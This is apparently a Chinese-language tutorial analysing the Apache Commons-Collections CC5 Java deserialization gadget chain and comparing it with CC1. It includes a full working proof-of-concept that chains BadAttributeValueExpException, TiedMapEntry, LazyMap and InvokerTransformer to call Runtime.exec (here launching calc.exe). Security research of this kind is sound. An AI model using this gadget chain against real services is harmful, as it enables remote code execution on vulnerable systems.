java反序列化–CC5
前置
同样 重点分析链子
CC5可以在Commons-Collections=3.2.1
与Commons-Collections=4.0
下都可以运行 包括在8u401和8u65下都可以运行
但是 和CC1等在Commons-Collections=4.0
的运行一样 改动的地方也是一样的
但是有这个前置条件:3.1>Common-Collection<=3.2.1&&Commons-Collections=4.0
CC5和CC1很像
CC1的链子是:
ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
而CC5的链子是:
ObjectInputStream.readObject() BadAttributeValueExpException.readObject() TiedMapEntry.toString() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
|
基本一样的不是
与其说是CC5 我个人认为不如说变异的CC1
POC
同样 直接先上POC吧
这里我是在8u401+Commons-Collections=4.0
下的结果
package example;
import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.ChainedTransformer; import org.apache.commons.collections4.functors.ConstantTransformer; import org.apache.commons.collections4.functors.InvokerTransformer; import org.apache.commons.collections4.keyvalue.TiedMapEntry; import org.apache.commons.collections4.map.LazyMap;
import javax.management.BadAttributeValueExpException; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.HashMap;
public class CC5 { public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
ChainedTransformer chain = new ChainedTransformer(transformers);
HashMap hashMap = new HashMap(); LazyMap lazymap = (LazyMap) LazyMap.lazyMap(hashMap, chain); TiedMapEntry entry = new TiedMapEntry(lazymap, "test"); BadAttributeValueExpException bad = new BadAttributeValueExpException(null); Field val = bad.getClass().getDeclaredField("val"); val.setAccessible(true); val.set(bad,entry);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(bad); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); ois.readObject(); } }
|
没问题哈
链子分析
通过POC 我们可以看到
CC5在构造触发链时还是用到了LazyMap类,但不同的是使用了一个新的类TiedMapEntry来调用(CC6的)LazyMap链,然后将TiedMapEntry类又传给了BadAttributeValueExpException类的val属性
来看看TiedMapEntry是个怎么个事
我们只需要按照CC1的思路来分析这条链子就行
我们可以看到TiedMapEntry
是实现了Serializable
接口的
并且在getValue方法并通过map属性调用了一个get方法
而map属性是通过TiedMapEntry类的构造来赋值的(map属性是可控的),可以把LazyMap当做TiedMapEntry类的构造参数传给map属性。
只需要控制 this.map = 我们的 hashMap 即可
这样就可以让TiedMapEntry类map属性来间接调用LazyMap类的get方法,从而触发之前构造的利用链了。
而getValue方法是在toString方法中被调用
注:以上方法都是在TiedMapEntry类哈
那么怎么调用toString呢
我们找到一个类必须满足以下条件:
这样就找到了BadAttributeValueExpException类
readObject方法表示从输入流中读取字段,然后gf对象调用了get方法读取val属性,然后又调用了toString方法,val的内容同样是可控的,因此这里可以通过反射将val属性设置为TiedMapEntry类,这样就可以调用TiedMapEntry类的toString方法了,这样就可以触发利用链和核心利用代码。
链子通了
后续就是一样的了
就不分析了